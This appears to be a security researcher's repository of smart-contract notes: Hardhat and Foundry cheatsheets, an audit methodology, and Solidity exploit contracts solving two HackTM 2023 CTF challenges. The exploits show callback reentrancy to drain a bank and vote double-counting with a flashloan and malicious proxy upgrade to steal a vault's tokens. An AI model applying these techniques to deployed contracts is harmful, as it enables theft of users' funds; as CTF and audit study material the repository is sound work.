├── .gitignore ├── ctf └── hacktm-2023 │ ├── README.md │ ├── diamond-heist │ ├── diamond_heist_contracts.zip │ ├── Exploit.sol │ └── README.md │ └── dragon-slayer │ ├── dragon_slayer_contracts.zip │ ├── Exploit.sol │ └── README.md ├── README.md └── notes ├── hardhat.md ├── audit-methodology.md └── foundry.md /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | artifacts/ 3 | cache/ -------------------------------------------------------------------------------- /ctf/hacktm-2023/README.md: -------------------------------------------------------------------------------- 1 | # HackTM Quals 2023 2 | This CTF had two smart contract challenges: 3 | * [Dragon Slayer](dragon-slayer/) 4 | * [Diamond Heist](diamond-heist/) -------------------------------------------------------------------------------- /ctf/hacktm-2023/diamond-heist/diamond_heist_contracts.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiloTruck/smart-contract/HEAD/ctf/hacktm-2023/diamond-heist/diamond_heist_contracts.zip -------------------------------------------------------------------------------- /ctf/hacktm-2023/dragon-slayer/dragon_slayer_contracts.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiloTruck/smart-contract/HEAD/ctf/hacktm-2023/dragon-slayer/dragon_slayer_contracts.zip -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Smart Contracts 2 | This repository contains everything related to smart contracts. 3 | 4 | ## Notes 5 | 6 | [Smart Contract Audit Methodology](notes/audit-methodology.md) 7 | 8 | ### Cheatsheets 9 | 10 | * [Hardhat](/notes/hardhat.md) 11 | * [Foundry](notes/foundry.md) 12 | 13 | ## CTFs 14 | * [HackTM CTF Quals 2023](/ctf/hacktm-2023/) -------------------------------------------------------------------------------- /notes/hardhat.md: -------------------------------------------------------------------------------- 1 | # Hardhat 2 | 3 | ## Creating a new Hardhat project 4 | 5 | In the project directory, run: 6 | ```shell 7 | npm init --yes 8 | npm install --save-dev hardhat 9 | npx hardhat 10 | ``` 11 | 12 | ## Running tests 13 | ```shell 14 | # Run test locally 15 | npx hardhat test path/to/test.js 16 | 17 | # Run test on testnet 18 | npx hardhat test path/to/test.js --network ropsten 19 | ``` -------------------------------------------------------------------------------- /ctf/hacktm-2023/dragon-slayer/Exploit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "./dragon_slayer_contracts/Setup.sol"; 5 | import "./dragon_slayer_contracts/Knight.sol"; 6 | import "./dragon_slayer_contracts/Dragon.sol"; 7 | import "./dragon_slayer_contracts/Bank.sol"; 8 | import "./dragon_slayer_contracts/GoldCoin.sol"; 9 | 10 | contract Exploit { 11 | // Challenge contracts 12 | Setup public setup; 13 | Knight public knight; 14 | Dragon public dragon; 15 | Bank public bank; 16 | GoldCoin public goldCoin; 17 | 18 | // Counts the number of times onERC721Received is called 19 | uint256 hitCount; 20 | 21 | // Amount of gold coins required to solve the challenge 22 | uint256 constant goldCoinAmount = 2_000_000 ether; 23 | 24 | constructor(Setup _setup) { 25 | // Initialize challenge contracts 26 | setup = _setup; 27 | knight = setup.knight(); 28 | dragon = knight.dragon(); 29 | bank = knight.bank(); 30 | goldCoin = bank.goldCoin(); 31 | 32 | // Claim ownership of Knight contract 33 | setup.claim(); 34 | } 35 | 36 | function exploit() public { 37 | // Get an empty banknote (id 1) 38 | uint[] memory bankNoteIDsFrom = new uint[](0); 39 | bank.merge(bankNoteIDsFrom); 40 | 41 | // Abuse bank.split() to "borrow" 2,000,000 ether 42 | uint[] memory amounts = new uint[](2); 43 | amounts[0] = goldCoinAmount; 44 | bank.split(1, amounts); 45 | } 46 | 47 | function onERC721Received(address, address, uint256, bytes calldata) public returns (bytes4) { 48 | // Only perform the exploit on the third onERC721Received call 49 | if (hitCount == 2) { 50 | // Withdraw all gold coins from banknote (id 2) 51 | bank.withdraw(2); 52 | 53 | // Transfer all coins to Knight 54 | goldCoin.transfer(address(knight), goldCoinAmount); 55 | 56 | // Buy items 3 and 4 57 | knight.buyItem(3); 58 | knight.buyItem(4); 59 | 60 | // Fight Dragon until its health is 0 61 | while (dragon.health() > 0) { 62 | knight.fightDragon(); 63 | } 64 | 65 | // Sell items 3 and 4 66 | knight.sellItem(3); 67 | knight.sellItem(4); 68 | 69 | // Deposit gold coins into a new banknote (id 4) 70 | knight.bankDeposit(goldCoinAmount); 71 | 72 | // Transfer all gold coins back to this contract's banknote (id 1) 73 | knight.bankTransferPartial(4, goldCoinAmount, 1); 74 | } 75 | 76 | // Increment the counter by 1 77 | hitCount += 1; 78 | 79 | return this.onERC721Received.selector; 80 | } 81 | 82 | } -------------------------------------------------------------------------------- /ctf/hacktm-2023/diamond-heist/Exploit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "./diamond_heist_contracts/Setup.sol"; 5 | import "./diamond_heist_contracts/Vault.sol"; 6 | import "./diamond_heist_contracts/Diamond.sol"; 7 | import "./diamond_heist_contracts/SaltyPretzel.sol"; 8 | 9 | contract Exploit { 10 | // Challenge contracts 11 | Setup public setup; 12 | Vault public vault; 13 | SaltyPretzel public saltyPretzel; 14 | 15 | constructor(Setup _setup) { 16 | // Initialize challenge contracts 17 | setup = _setup; 18 | vault = setup.vault(); 19 | saltyPretzel = setup.saltyPretzel(); 20 | 21 | // Claim initial SaltyPretzel tokens 22 | setup.claim(); 23 | } 24 | 25 | function exploit() public { 26 | // Create a contract contract to hoard votes 27 | VoteCollector voteCollector = new VoteCollector(setup); 28 | 29 | // Loop while VoteCollector has not enough votes 30 | while (saltyPretzel.getCurrentVotes(address(voteCollector)) < vault.AUTHORITY_THRESHOLD()) { 31 | // Add our votes to VoteCollector 32 | saltyPretzel.delegate(address(voteCollector)); 33 | 34 | // Set our delegatee to address(0) 35 | saltyPretzel.transfer(address(voteCollector), setup.SALTY_PRETZELS()); 36 | saltyPretzel.delegate(address(0)); 37 | 38 | // Regain our SaltyPretzel tokens 39 | saltyPretzel.transferFrom(address(voteCollector), address(this), setup.SALTY_PRETZELS()); 40 | } 41 | 42 | // When VoteCollector has enough votes, steal the vault's diamonds 43 | voteCollector.stealDiamonds(); 44 | } 45 | } 46 | 47 | contract VoteCollector { 48 | // Challenge contracts 49 | Setup public setup; 50 | Vault public vault; 51 | Diamond public diamond; 52 | SaltyPretzel public saltyPretzel; 53 | 54 | constructor(Setup _setup) { 55 | // Initialize challenge contracts 56 | setup = _setup; 57 | vault = setup.vault(); 58 | diamond = setup.diamond(); 59 | saltyPretzel = setup.saltyPretzel(); 60 | 61 | // Allow the Exploit contract to transfer all of this contract's SaltyPretzel tokens 62 | saltyPretzel.approve(msg.sender, type(uint256).max); 63 | } 64 | 65 | function stealDiamonds() public { 66 | // Borrow a flashloan to temporarily set the vault's diamond balance to 0 67 | vault.flashloan(address(diamond), setup.DIAMONDS(), address(this)); 68 | 69 | // After the vault is upgraded to FakeVault, transfer its diamonds to Setup 70 | FakeVault(address(vault)).transferDiamonds(address(setup)); 71 | } 72 | 73 | function onFlashLoan( 74 | address, 75 | address, 76 | uint256, 77 | uint256, 78 | bytes calldata 79 | ) external returns(bytes32) { 80 | // Create a FakeVault contract 81 | FakeVault fakeVault = new FakeVault(); 82 | 83 | // Upgrade the implementation of vault to FakeVault 84 | bytes memory data = abi.encodeWithSelector(vault.upgradeTo.selector, address(fakeVault)); 85 | vault.governanceCall(data); 86 | 87 | // Return the borrowed diamonds to vault 88 | diamond.transfer(address(vault), setup.DIAMONDS()); 89 | 90 | return keccak256("ERC3156FlashBorrower.onFlashLoan"); 91 | } 92 | } 93 | 94 | contract FakeVault is Initializable, UUPSUpgradeable, OwnableUpgradeable { 95 | // Keep the diamond state variable 96 | Diamond diamond; 97 | 98 | // Function to transfer all of the vault's diamonds 99 | function transferDiamonds(address to) public { 100 | diamond.transfer(to, diamond.balanceOf(address(this))); 101 | } 102 | 103 | // _authorizeUpgrade has to be implemented for UUPSUpgradeable contracts 104 | function _authorizeUpgrade(address) internal override view {} 105 | } -------------------------------------------------------------------------------- /notes/audit-methodology.md: -------------------------------------------------------------------------------- 1 | # Smart Contract Audit Methodology 2 | 3 | ## Picking a target 4 | * [Strategies for picking bounty hunting targets](https://www.joranhonig.nl/4-bug-hunting-target-strategies/) 5 | 6 | ## Before the audit 7 | 8 | ### Reading the protocol's documentation 9 | 10 | Gain an understanding of how the system works: 11 | * What components exist in the system and how are they meant to function? 12 | * List down high-level functionality of what each contract aims to do. 13 | * How many different actors are there and what are their roles? 14 | * List down what each role should be able to do and how they interact with the contract. 15 | * Do the mechanics make sense? Or is the system design flawed regardless of the implementation? 16 | 17 | Identify areas of interest: 18 | * Which components of the system handle assets? 19 | * Which components would have the most significant impact on the system if it had a bug? 20 | * If you would re-build the system, where would you spend the most time? 21 | 22 | List potential pain points and possible attack vectors. 23 | 24 | ### Research similar protocols 25 | 26 | Look for protocols that have similar functionality and do the following: 27 | * Learn how they are designed and implemented. 28 | * Read previous audits reports or post-mortems and look out for common vulnerabilities for such protocols. 29 | 30 | ## Beginning the audit 31 | 32 | To begin auditing the repository: 33 | * Look through `README.md`. 34 | * Scan the `.sol` files for block comments that explain technical designs/gotchas. 35 | * Examine the test suite: 36 | * Run the tests and take note of the coverage - are there any contracts that are not tested? 37 | * Are there tests that look insufficient? (eg. Might not cover an edge case) 38 | 39 | ## Code Review 40 | 41 | ### Build a mental model 42 | 43 | With the list of each contract's functionality and what different users should be able to do, walk through each of their the code paths and find out how the code implements these objectives. This is done to gain a high-level understanding of the contracts before focusing on details. 44 | 45 | > **DO NOT** go through the code line-by-line, just have an idea of what each function accomplishes and the overall call path. 46 | 47 | Note down things that seem off or confusing with an `@audit` tag and come back to it later. 48 | 49 | ### Looking for vulnerabilities 50 | 51 | #### Resolving `@audit` tags 52 | 53 | Go through the `@audit` tags were made earlier and resolve them, while doing the following: 54 | * Examine the code path for edge cases 55 | * Look out for possible bugs and mistakes in the code 56 | * See if any common attack vectors in such protocols and are applicable 57 | 58 | > **DO NOT** get side-tracked other potential attacks or bugs, mark them with another `@audit` tag and come back to them later after resolving the current one. 59 | 60 | #### Ideating Attack Vectors 61 | After resolving all the initial `@audit` tags, it's time to come up with potential attack vectors: 62 | * Run a static analyzer, such as [Slither](https://github.com/crytic/slither), and mark all interesting results with an `@audit` tag. 63 | * Identify all primitives an attacker has in each contract, such as: 64 | * What public/external functions are there in the contract? 65 | * How can an attacker modify the contract's state? 66 | * Can sending Ether or other tokens to the contract change its behavior? 67 | * Think of invariants that should hold for each contract, and how they can be broken. 68 | 69 | Consider attack vectors that are not immediately obvious: 70 | * Use of non-compliant tokens (Fee-on-transfer tokens, ERC777, USDT) 71 | * Front-runnning 72 | * Gas griefing 73 | 74 | Mark all potential attack vectors with an `@audit` tag in the code and resolve them. 75 | 76 | #### Line-by-line Review 77 | 78 | Do a deep review of every file - read through them line by line and focus on the implementation of each function. Go through [Smart Contract Auditing Heuristics](https://github.com/OpenCoreCH/smart-contract-auditing-heuristics) and see if any of them applies. 79 | 80 | ## Dynamic Testing 81 | 82 | ### Tests 83 | 84 | If the test coverage is poor, write tests to fill in the missing coverage. Look for odd behavior that does not match your understanding of the contract and mark it with an `@audit` tag. 85 | 86 | ### PoCs 87 | 88 | Write a PoC for all findings and check if they are actually valid. If the system functions differently from your understanding and an attack is not viable, examine how it can be tweaked using the primitives an attacker has. 89 | 90 | ### Invariant Testing 91 | 92 | Using methods such as formal verification and fuzzing, ensure that the invariants identified for each contract holds. 93 | 94 | ## Wrapping up the audit 95 | Review all `@audit` tags and ensure they are all resolved. 96 | 97 | Go through each finding and do the following: 98 | * Ensure it is valid. 99 | * Include the relevant details: file, line numbers, code blocks, description, criticality, PoCs. 100 | * Think of how each finding can be mitigated. 101 | 102 | Finally, compile all findings into a report. 103 | 104 | ## References 105 | 106 | * [Guardian Audit's Methodology](https://lab.guardianaudits.com/the-auditors-handbook/the-auditing-process) 107 | * [Joran Honig's Methodology](https://twitter.com/joranhonig/status/1539578735631949825) 108 | * [Zach Obront's Methodology](https://twitter.com/zachobront/status/1606132664422891520) 109 | * [Solcurity Standard](https://github.com/transmissions11/solcurity) 110 | * [Smart Contract Auditing Heuristics](https://github.com/OpenCoreCH/smart-contract-auditing-heuristics) 111 | -------------------------------------------------------------------------------- /notes/foundry.md: -------------------------------------------------------------------------------- 1 | # Foundry Cheatsheet 2 | 3 | - [Foundry Cheatsheet](#foundry-cheatsheet) 4 | - [Setup](#setup) 5 | - [Dependencies](#dependencies) 6 | - [Adding dependencies](#adding-dependencies) 7 | - [Remappings](#remappings) 8 | - [Testing](#testing) 9 | - [Fork testing](#fork-testing) 10 | - [Useful Cheatcodes](#useful-cheatcodes) 11 | - [Global values](#global-values) 12 | - [Storage and memory](#storage-and-memory) 13 | - [Caller address](#caller-address) 14 | - [Balances](#balances) 15 | - [Testing reverts](#testing-reverts) 16 | - [Others](#others) 17 | - [Fuzzing](#fuzzing) 18 | 19 | ## Setup 20 | Create a new project: 21 | ```sh 22 | forge init 23 | ``` 24 | 25 | Create a new project using a template: 26 | ```sh 27 | forge init --template